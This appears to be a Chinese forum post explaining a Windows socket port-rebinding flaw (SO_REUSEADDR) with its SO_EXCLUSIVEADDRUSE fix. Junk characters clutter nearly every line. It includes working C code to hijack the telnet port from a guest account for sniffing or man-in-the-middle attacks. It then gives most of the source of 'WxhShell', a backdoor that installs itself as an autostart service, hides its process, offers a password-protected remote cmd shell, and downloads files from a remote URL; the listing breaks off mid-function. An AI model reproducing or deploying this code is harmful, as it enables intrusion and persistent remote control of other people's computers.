在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.MoOjx? s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K})=&<M0 93Z/|7 saddr.sin_family = AF_INET;
f?KHp| p]/qf\E saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Eqx2.S n-HQk7=mQ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T{9pNf- @|e4.(9A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
I``S%`h YH_mWN\Wu 这意味着什么?意味着可以进行如下的攻击:
+sN'Y/- aT9+]
Ig 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
qN5 ru2 gmCW__oR 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
C!]R0L* KyQO>g{R 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
JnC$}amr /O,>s 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
,'FH[2 G9`;Z^<L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
zWN/>~}U\ B8XW+U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
bfjC: "!H s& INcjC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X#625h MCPVql`+`q #include
[w0@7p"7 #include
&E{CQ#k #include
U8f!yXF' #include
+XaRwcLC. DWORD WINAPI ClientThread(LPVOID lpParam);
ySfot`LQ int main()
&m=GkK {
dA)JR"r2 WORD wVersionRequested;
o'oA.'ul DWORD ret;
Qs38VlR_m WSADATA wsaData;
tl:V8sYTP BOOL val;
d|P,e;m- SOCKADDR_IN saddr;
W^a-K SOCKADDR_IN scaddr;
VR8 kY& int err;
HDmjt+3&n SOCKET s;
{}sF?wZf SOCKET sc;
gD13(G98 int caddsize;
uX.^zg]}% HANDLE mt;
e8WuAI86 DWORD tid;
b"Z$?5 wVersionRequested = MAKEWORD( 2, 2 );
)[t zAaP7 err = WSAStartup( wVersionRequested, &wsaData );
(-<s[VnXP if ( err != 0 ) {
Y/%(4q*' printf("error!WSAStartup failed!\n");
.Yw return -1;
\wJ2>Q }
Ofx] saddr.sin_family = AF_INET;
>yZe1CP a Uy!(Y //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
wjq;9%eXk wZ(H[be saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
(G>S`B saddr.sin_port = htons(23);
s6U$]9 ` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lQ8h -Tz {
h_( #U)z_3 printf("error!socket failed!\n");
[NxC7p:Lo return -1;
BR*'SF\T }
K@f@vyw] val = TRUE;
ifXGH>C //SO_REUSEADDR选项就是可以实现端口重绑定的
EZ"n3#/ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
@5["L {
3R}O3#lj, printf("error!setsockopt failed!\n");
rN3qTp return -1;
483/ZgzT` }
Nv~H797B //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$_ BoG //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~6Xr^An/Z //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
V
6*ohC: (u{?aG~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
tk5zq-/d {
f-!P[6bY ret=GetLastError();
wv7XhY} printf("error!bind failed!\n");
hZ[(Ik]*Zd return -1;
Ah?,9r=U }
^t$xR_ listen(s,2);
@^2?97i
c while(1)
O x),jc[/ {
=d*5TyAcu caddsize = sizeof(scaddr);
{vhP'!a6W //接受连接请求
anzt;V.;Y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#Q]^9/;|4n if(sc!=INVALID_SOCKET)
NT0im% {
nOCCOTf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
XkEJ_;: if(mt==NULL)
joRrsxFU {
NQmdEsK printf("Thread Creat Failed!\n");
sGp]jqX2,m break;
^[6S]Ft( }
SWLt5dV }
iW9o-W
a CloseHandle(mt);
fvi8+3A& }
4lF(..Ix closesocket(s);
iLbf:DXK( WSACleanup();
E*Z # fa return 0;
}T~}W8H }
l+UUv]:1 DWORD WINAPI ClientThread(LPVOID lpParam)
T&q0TBT {
\3WQ<t)W SOCKET ss = (SOCKET)lpParam;
s# 9*`K SOCKET sc;
aGml!N5' unsigned char buf[4096];
Pm/Rc SOCKADDR_IN saddr;
u85dG7 long num;
cuoZ:Wh DWORD val;
'* eeup DWORD ret;
b6?&h:{k //如果是隐藏端口应用的话,可以在此处加一些判断
(MGYX_rD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
:pCv!g2 saddr.sin_family = AF_INET;
(3Dz'X saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o()No_.8H saddr.sin_port = htons(23);
d=DQS>Nz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
V sQ~Y,7 {
Fz {T; printf("error!socket failed!\n");
,<t)aZL,A; return -1;
eUVhNg }
};;k5z I% val = 100;
ms{iQ:'9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_]t^F9l {
wZ%a:Z4TcM ret = GetLastError();
EM7Z g 65 return -1;
b[rVr
J }
AF\gB2^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
F nc MIzp {
G@+R!IG ret = GetLastError();
ZZ324UuATX return -1;
?J ,K[.z }
oe*CZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
+A-z>T( {
#GuN.`__n, printf("error!socket connect failed!\n");
-R-yr.$j* closesocket(sc);
\~>
.NH- closesocket(ss);
Y=ksrs>w return -1;
80%L!x| }
a797'{j#PI while(1)
2_GbK- {
WNSY@q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
isU4D //如果是嗅探内容的话,可以再此处进行内容分析和记录
Q*ixg$> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*TgD{>s num = recv(ss,buf,4096,0);
jdX* if(num>0)
)wNcz~
Y send(sc,buf,num,0);
[?55vYt else if(num==0)
n.7-$1 break;
&&ZX<wOM num = recv(sc,buf,4096,0);
dCA!
R"HD if(num>0)
X#k:J send(ss,buf,num,0);
}u]7 x:lh else if(num==0)
Yy'CBIq#f break;
l.xKv$uOGR }
kfgkZ"9 closesocket(ss);
{u[_^ closesocket(sc);
PJL
[En* return 0 ;
D@)L?AB1f }
57Bxx__S4` JqV}>"WMV fb8)jd'~}O ==========================================================
!;Vqs/E X?.tj
Z, 下边附上一个代码,,WXhSHELL
MNf^ml[ 1G8,Eah ==========================================================
Vt(s4 `>&K=C? #include "stdafx.h"
8`z DJb9] ,=a #include <stdio.h>
# TZ` #include <string.h>
o]DYS,v #include <windows.h>
30W.ks5( #include <winsock2.h>
WOQ>]Z #include <winsvc.h>
E?FUr?-[ #include <urlmon.h>
*)L~1;7j> PsM8J #pragma comment (lib, "Ws2_32.lib")
& zv!cf #pragma comment (lib, "urlmon.lib")
(SMk!b]} srhI%Zj #define MAX_USER 100 // 最大客户端连接数
dVSQG947i: #define BUF_SOCK 200 // sock buffer
P9)L1l<3I #define KEY_BUFF 255 // 输入 buffer
ue*o>iohB
H 3so&_ #define REBOOT 0 // 重启
$;rvKco)% #define SHUTDOWN 1 // 关机
W[:CCCDL c{j)beaS #define DEF_PORT 5000 // 监听端口
uann'ho?q s6k(K>Pl #define REG_LEN 16 // 注册表键长度
L=dQ,yA #define SVC_LEN 80 // NT服务名长度
F#^/=AR' 7c!#e=W@B // 从dll定义API
*j<{3$6Ii typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
?}U?Q7vx@@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
w:ASB>,! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_UV_n!R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
O1!YHo mD%IHzbn
H // wxhshell配置信息
[Z^26/5a struct WSCFG {
sB5@6[VDI int ws_port; // 监听端口
gs&F
.n char ws_passstr[REG_LEN]; // 口令
nrR2U` int ws_autoins; // 安装标记, 1=yes 0=no
9)>+r6t char ws_regname[REG_LEN]; // 注册表键名
ECk3Da char ws_svcname[REG_LEN]; // 服务名
]xGpN ]u char ws_svcdisp[SVC_LEN]; // 服务显示名
eo~b]D char ws_svcdesc[SVC_LEN]; // 服务描述信息
"m`}J*s" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[6Q1yNE int ws_downexe; // 下载执行标记, 1=yes 0=no
M)~sL1) char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-O\fy! char ws_filenam[SVC_LEN]; // 下载后保存的文件名
,H_d#Koa. ~])Q[/=p };
;I*N%a TK v'm-A d+4t // default Wxhshell configuration
@1D3E = struct WSCFG wscfg={DEF_PORT,
@Z5,j) "xuhuanlingzhe",
{Wndp% 1,
j`#H%2W\; "Wxhshell",
4";NT;_q5 "Wxhshell",
Vha,rIi "WxhShell Service",
)q`.tsR> "Wrsky Windows CmdShell Service",
-EP(/CS! "Please Input Your Password: ",
0\Tp/Ph 1,
xo4lM "
http://www.wrsky.com/wxhshell.exe",
v\E6N2.S "Wxhshell.exe"
RKZBI?@4 };
i-9W8A fmD~f // 消息定义模块
+BDW1% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qcC(#0A> char *msg_ws_prompt="\n\r? for help\n\r#>";
!<out4Mz" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
"ruYMSpU char *msg_ws_ext="\n\rExit.";
3
2"f'{ char *msg_ws_end="\n\rQuit.";
_
^'QHWP char *msg_ws_boot="\n\rReboot...";
T-h[$fxR_ char *msg_ws_poff="\n\rShutdown...";
7yjun|Lt}X char *msg_ws_down="\n\rSave to ";
I>q!co9n H^dw=kS char *msg_ws_err="\n\rErr!";
tN.$4+ char *msg_ws_ok="\n\rOK!";
hiv {A9a? _2{2Xb char ExeFile[MAX_PATH];
gjx-tp 1. int nUser = 0;
qMoo#UX HANDLE handles[MAX_USER];
-3 Sb%V\ int OsIsNt;
5gkQ6&m d|8-#.gV SERVICE_STATUS serviceStatus;
hAt4+O&P SERVICE_STATUS_HANDLE hServiceStatusHandle;
;GKL[tI" oF a,IA // 函数声明
zG{jRth int Install(void);
i'.D=o int Uninstall(void);
XMz*}B6GQ int DownloadFile(char *sURL, SOCKET wsh);
{Us^4Xe int Boot(int flag);
B@S~v+Gr void HideProc(void);
|bhv7(_ int GetOsVer(void);
&3J^z7kU int Wxhshell(SOCKET wsl);
{jv+ JL"5 void TalkWithClient(void *cs);
ohs`[U=%~ int CmdShell(SOCKET sock);
fg lN_ int StartFromService(void);
ox_DEg7l int StartWxhshell(LPSTR lpCmdLine);
R"l6|9tmP lEw;X78+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|~#A?mK- VOID WINAPI NTServiceHandler( DWORD fdwControl );
IVy<>xpt ^Ku]8/ga // 数据结构和表定义
l`uMtv/Wp SERVICE_TABLE_ENTRY DispatchTable[] =
C/QrkTi= {
$|@pY| f {wscfg.ws_svcname, NTServiceMain},
$xK\$kw\ {NULL, NULL}
n^b CrvD };
\RtFF @eutp`xoT\ // 自我安装
>?_}NZ,y int Install(void)
%YbL%i|U {
a5aHv/W#P char svExeFile[MAX_PATH];
3t9CN
)* HKEY key;
A6J:!sY4A strcpy(svExeFile,ExeFile);
-ssmj8:Q\| L8H:,} 2 // 如果是win9x系统,修改注册表设为自启动
`7'^y if(!OsIsNt) {
2h#.:!/SMw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T1R~^x1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
IuA4eDr^Y% RegCloseKey(key);
OnhR` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]*g f$D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3ZI:EZ5 RegCloseKey(key);
cNN0-<#c return 0;
fUfd5W1" }
'Z:wEt! }
KFRf5^ % }
`(gQw~|z else {
';!-a]N }p-/R' // 如果是NT以上系统,安装为系统服务
:>Bk^" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ZJ~0o2xZ' if (schSCManager!=0)
.z=%3p8+ {
u c}tTmB| SC_HANDLE schService = CreateService
8)1=5n (
CBNt
_y schSCManager,
N=7iQ@{1 wscfg.ws_svcname,
sdiWQv wscfg.ws_svcdisp,
_sZ&=-FR SERVICE_ALL_ACCESS,
w\UAKN60 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
)Vrp<"v SERVICE_AUTO_START,
` AD}6O+x SERVICE_ERROR_NORMAL,
edCVIY'1 svExeFile,
cNFHbMd NULL,
jKo9y NULL,
; yE.R[I NULL,
H "5,To NULL,
o3eaNYa NULL
b|@zjh;]A7 );
ZHUW1:qs if (schService!=0)
/R?[/`)f& {
nP<u.{q
L CloseServiceHandle(schService);
<L11s%5- CloseServiceHandle(schSCManager);
~7PiIky. strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}Y|M+0 strcat(svExeFile,wscfg.ws_svcname);
sa _J6~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
M X?UmQ' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
AAW] Y#UwW RegCloseKey(key);
lrwQ
>N return 0;
W}"tf
L8
}
y\(xYB>T }
@GGQ13Cj( CloseServiceHandle(schSCManager);
n%G[Y^^, }
G@Sqg }
Z!Z{Gm3 9<i M2(IW{ return 1;
MxUbx+_N }
),y`Iw m#G,m // 自我卸载
UjLq[,_! int Uninstall(void)
BOR$R}q {
g kV`ZT9 HKEY key;
K"|~D0Qgo #_`p
0wY if(!OsIsNt) {
^$C&{% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
NFtA2EMLu[ RegDeleteValue(key,wscfg.ws_regname);
MK @rx6<9 RegCloseKey(key);
jJNl{nyq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3TLym& RegDeleteValue(key,wscfg.ws_regname);
(d@(QJ RegCloseKey(key);
!Q<3TfC return 0;
Wd+G)Mu_= }
:SW
vH- ] }
zDEgC }
.Y^3G7On else {
KaS*LDzw LR!%iP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3-6MGL9 if (schSCManager!=0)
{O).! {
2L[!~h2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
r..f$FF)\ if (schService!=0)
c`hENPhW {
#8
^b] if(DeleteService(schService)!=0) {
7HY8 F5Brx CloseServiceHandle(schService);
w|6?A- CloseServiceHandle(schSCManager);
|' JN<? return 0;
b/JjA }
y29G#Y4J CloseServiceHandle(schService);
@8w5Oudvx }
vJct)i CloseServiceHandle(schSCManager);
_TmKn!Jw }
0_-o]BY }
EAm31v C ,UC|[-J return 1;
_Gt;= }
i `p1e5$ 7lAJ
0 // 从指定url下载文件
W"pHR sf int DownloadFile(char *sURL, SOCKET wsh)
W/u(9 {
R
>SZE" HRESULT hr;
T-GvPl9ZJw char seps[]= "/";
cTn(Tv9s char *token;
VAjl?\}6 char *file;
{q+gm1iC char myURL[MAX_PATH];
AS:k&t char myFILE[MAX_PATH];
f<$*,P ( xzruI5P strcpy(myURL,sURL);
oOLA&N-A~ token=strtok(myURL,seps);
5D?{dA:Rq while(token!=NULL)
0bJT0_ {
X(17ESQ/Y file=token;
xluAjOQ6 token=strtok(NULL,seps);
#Tag"b` }
f\=,_AQ ZAeJTCCk GetCurrentDirectory(MAX_PATH,myFILE);
]9'F<T= $_ strcat(myFILE, "\\");
v0(}"0 strcat(myFILE, file);
VKu_l send(wsh,myFILE,strlen(myFILE),0);
<0hVDk~ send(wsh,"...",3,0);
K4E2W9h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#lSGH 5Fp? if(hr==S_OK)
>gq=W5vN( return 0;
8'zfq
]g else
&U=_:]/ return 1;
#nft{AN hCc%d$wVk }
x*tCm8`{ .YH#+T' // 系统电源模块
{|j-e{* int Boot(int flag)
w)qmq {
K.&6c,P] HANDLE hToken;
6Fk[wH7 TOKEN_PRIVILEGES tkp;
BT;1"l< '43U v if(OsIsNt) {
<nV 3`L&] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
mr_NArF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
"Wk K1u tkp.PrivilegeCount = 1;
8'fF{C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
RtxAIMzh? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
]SL+ZT if(flag==REBOOT) {
PR(KDwsT&l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Uvi@HB HJ return 0;
*Sbc
8Y }
SX =^C else {
#Q_<eo%lI* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X MF? y return 0;
@n9iOf~< }
]d%Ou]609 }
ts@e
, else {
W$l4@A if(flag==REBOOT) {
Z$m&F0g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?vF8 y;Jh return 0;
(r'NB }
)PkGT~3I else {
)[&j&AI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[Q6$$z92Q return 0;
7~P!Z=m^^f }
$gk=~p| }
Aq(, 6"rS?>W/mO return 1;
&?y|Pn }
|\"%Dy[m i*09m^r // win9x进程隐藏模块
ygQAA!&'] void HideProc(void)
7<2?NLE8* {
eCg|@d% D lD_iIe~c HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
l#w0-n%S if ( hKernel != NULL )
6 {3q l: {
9NU-1vd~ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
RJN
LcIm ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
o@} qPvt0 FreeLibrary(hKernel);
CJ#Yu3} }
#0#6eT{- la]Zk return;
G"vEtNoV }
(15.?9 NB( GE // 获取操作系统版本
'$ G%HUn int GetOsVer(void)
9N) Ea:N {
C8:y+pH_U; OSVERSIONINFO winfo;
xFp9H'j{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"68=dC GetVersionEx(&winfo);
A/j'{X!z
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,p..h+l return 1;
O7,:-5h0 else
?DNeL;6 return 0;
E`iE]O }
lx82:_ y] $-:^ // 客户端句柄模块
,qdZ6bv,]| int Wxhshell(SOCKET wsl)
H
a`V"X{} {
Z$)jPDSr SOCKET wsh;
B|;?#okx struct sockaddr_in client;
9!D
c= DWORD myID;
:{Iv
]d mT1Q7ta*P while(nUser<MAX_USER)
n{c-3w.uD {
oT}Sh4Wt. int nSize=sizeof(client);
#q?:Act wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
K*j1Fy: if(wsh==INVALID_SOCKET) return 1;
O0mQHpi: AAc2u^spx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
"+4r4 if(handles[nUser]==0)
&v+Hl^ closesocket(wsh);
cn_ *,\} else
LQ"xm nUser++;
H.2aoZ-w }
m W4tW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
v(jZ[{x@ @Z9>E+udQ return 0;
}iB>3|\ }
`{S4_' E0Kt4%b // 关闭 socket
_eaK:EW void CloseIt(SOCKET wsh)
]=]`Mnuxb {
`S=4cS H( closesocket(wsh);
:HN\A4=kc( nUser--;
@'?7au '' ExitThread(0);
.[o?qCsw }
d1d:5b kmsgaB7? // 客户端请求句柄
8PW3x-+ void TalkWithClient(void *cs)
sH)40QmO{ {
]LSlo593 I;?np SOCKET wsh=(SOCKET)cs;
mC`U"rlK~ char pwd[SVC_LEN];
y@]:7 char cmd[KEY_BUFF];
x[YW 3nF char chr[1];
4p`z%U~=u int i,j;
t-J\j"~%+ ]B-3Lh while (nUser < MAX_USER) {
8d\/ Oj.xJ(uX+v if(wscfg.ws_passstr) {
TbhsOf! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
to'O;f">n //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D??
\H\ //ZeroMemory(pwd,KEY_BUFF);
CK} _xq2b i=0;
kS(v|d while(i<SVC_LEN) {
aaesgF
C6}`qD // 设置超时
T:EUI] fd_set FdRead;
yvKKE struct timeval TimeOut;
1|#j/ FD_ZERO(&FdRead);
KHt#mQy)9 FD_SET(wsh,&FdRead);
1VO>Bh.Wm TimeOut.tv_sec=8;
g6<D 1r TimeOut.tv_usec=0;
m9f[nT int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
VaylbYUCT/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}kb6;4>c A ]~%<=b if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
%;tBWyq}_ pwd
=chr[0]; 5!^?H"#c
if(chr[0]==0xd || chr[0]==0xa) { (W$>!1~
pwd=0; TInp6w+u
break;
Wwo`R5
} (C8r^m|A
i++;
$T}Dn[.
} %KmhR2v
)u_[cEJHO
// 如果是非法用户,关闭 socket ]A dL
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L@LT *M
} 83YQ c
U~[ tp1Z)
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wE09%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zRF+D+
V']1j
while(1) { u-#J!Z<T8
-Mufo.Jz1o
ZeroMemory(cmd,KEY_BUFF); a6.0$'
^>!~%Vv7!
// 自动支持客户端 telnet标准 Z <vTr6?
j=0; BZWGXzOFh
while(j<KEY_BUFF) { :jioF{,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AoN|&o
cmd[j]=chr[0]; ?$rHyI
if(chr[0]==0xa || chr[0]==0xd) { O2>W#7
cmd[j]=0; Lk]/{t0
break; 0@PI=JZ%
} BvV!?DY4
j++; @k,}>Tk
} A**PGy.Ni
`?xE-S
;Pn
// 下载文件 %W]"JwRu
if(strstr(cmd,"http://")) { SB2Ij',
send(wsh,msg_ws_down,strlen(msg_ws_down),0); e`D? x1-
if(DownloadFile(cmd,wsh)) _i+7O^=d6X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qx\P(dOUf
else ;tu2}1#r
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?>o|H-R~5Z
} +c_8~C
else { uNRT@@oCq
/ :@X<
switch(cmd[0]) { Luu.p<
#sp8 !8|y
// 帮助 2XGbqZj
case '?': { i5^U1K\M
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0}y-DCuQ
break; |F^h>^
x
} _a~-B@2g
// 安装 >^hy@m
case 'i': { h|t\rV^
if(Install())
-z$&lP]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #^oF^!
else u9R:2ah&K
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ck4g=QpD{
break; tM;S
)S(=
} P _3U4J
// 卸载 $y&1.caMa
case 'r': { [E/}-m6g
if(Uninstall())
)!(etB=`y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JqmKD4p
else /Jc i1o
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
9
]W4o"
break; bB|P`lL
} "sU ~|
// 显示 wxhshell 所在路径 [O"8Tzr
case 'p': { `OmYz{*r
char svExeFile[MAX_PATH]; Um'r6ty
strcpy(svExeFile,"\n\r"); Pb-Ft=
strcat(svExeFile,ExeFile); v<U +&D{
send(wsh,svExeFile,strlen(svExeFile),0); M~&X?/8
break; nzK"eNDN.
} 3?R QPP
// 重启 :},/D*v
case 'b': { wam-=3W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 86,$ I+
if(Boot(REBOOT)) uuMHD{}?}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^U4|TR6mub
else { Z6vm!#\
closesocket(wsh); @|GKNW#
ExitThread(0); d~b#dcv$"
} vAMr&[
break; jL[
hB
} J6Q}a7I#
// 关机 DfQD!}=
case 'd': { aY7.<p*a
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H;OPA8\n
if(Boot(SHUTDOWN)) f:-dw6a=s
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ew kZzVuX
else { t846:Z%[
closesocket(wsh); a:3f>0_t
ExitThread(0); Ly$s0.!
} z.7'yJIP#
break; )bGd++2
} )4P5i
b
// 获取shell Qe )#'$T
case 's': { JrdH6Zg
CmdShell(wsh); ].eY]o}=
closesocket(wsh); )tV^)n[w
ExitThread(0); Z|kMoB
break; C8 b%r|^#
} :>t?^r(
// 退出 GCgpe(cQ
case 'x': { G$D6#/rR
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4U*uH
CloseIt(wsh); H}$hk
break; An%V>a-[
} >WW5Apy[
// 离开 zjrr*iw
case 'q': { mxRe2<W
send(wsh,msg_ws_end,strlen(msg_ws_end),0); S-Y(Vn4
closesocket(wsh); `(9B(&t^,
WSACleanup(); |e@Bi#M[
exit(1); 6v9{$:
break; $Di2BA4Di
} Y%V|M0 0`
} 6GD Uo}.
} S0ct;CS
drQioH-
// 提示信息 ,A>i)brc
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /e5Fx
} jnoFNIW
} q$Ol"K@
(pjmE7`"P
return; DvuL1MeKo
} zq5_&AeW
)^&)f!f
// shell模块句柄 LQMVC^G
int CmdShell(SOCKET sock) %-4e8d74/
{ sKX%<n$
STARTUPINFO si; S"=oU}'|
ZeroMemory(&si,sizeof(si)); eXU;UO^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DT=!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YJ5;a\QxN
PROCESS_INFORMATION ProcessInfo; a`w)awb
char cmdline[]="cmd"; Kup-O
u,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >Q~"/-bN)
return 0; L?^C\g6u]
} +M\*C#
] 05Q4
// 自身启动模式 1?(mE7H#
int StartFromService(void) tc{23Rf%
{ b'N"?W^YQ
typedef struct aNW&ib
{ P-~Avb
DWORD ExitStatus; ~X;(m<f2
DWORD PebBaseAddress; #oYX0wvl
DWORD AffinityMask; 9tS&$-
DWORD BasePriority; ]T+.kC
M
ULONG UniqueProcessId; u%O^hcfb
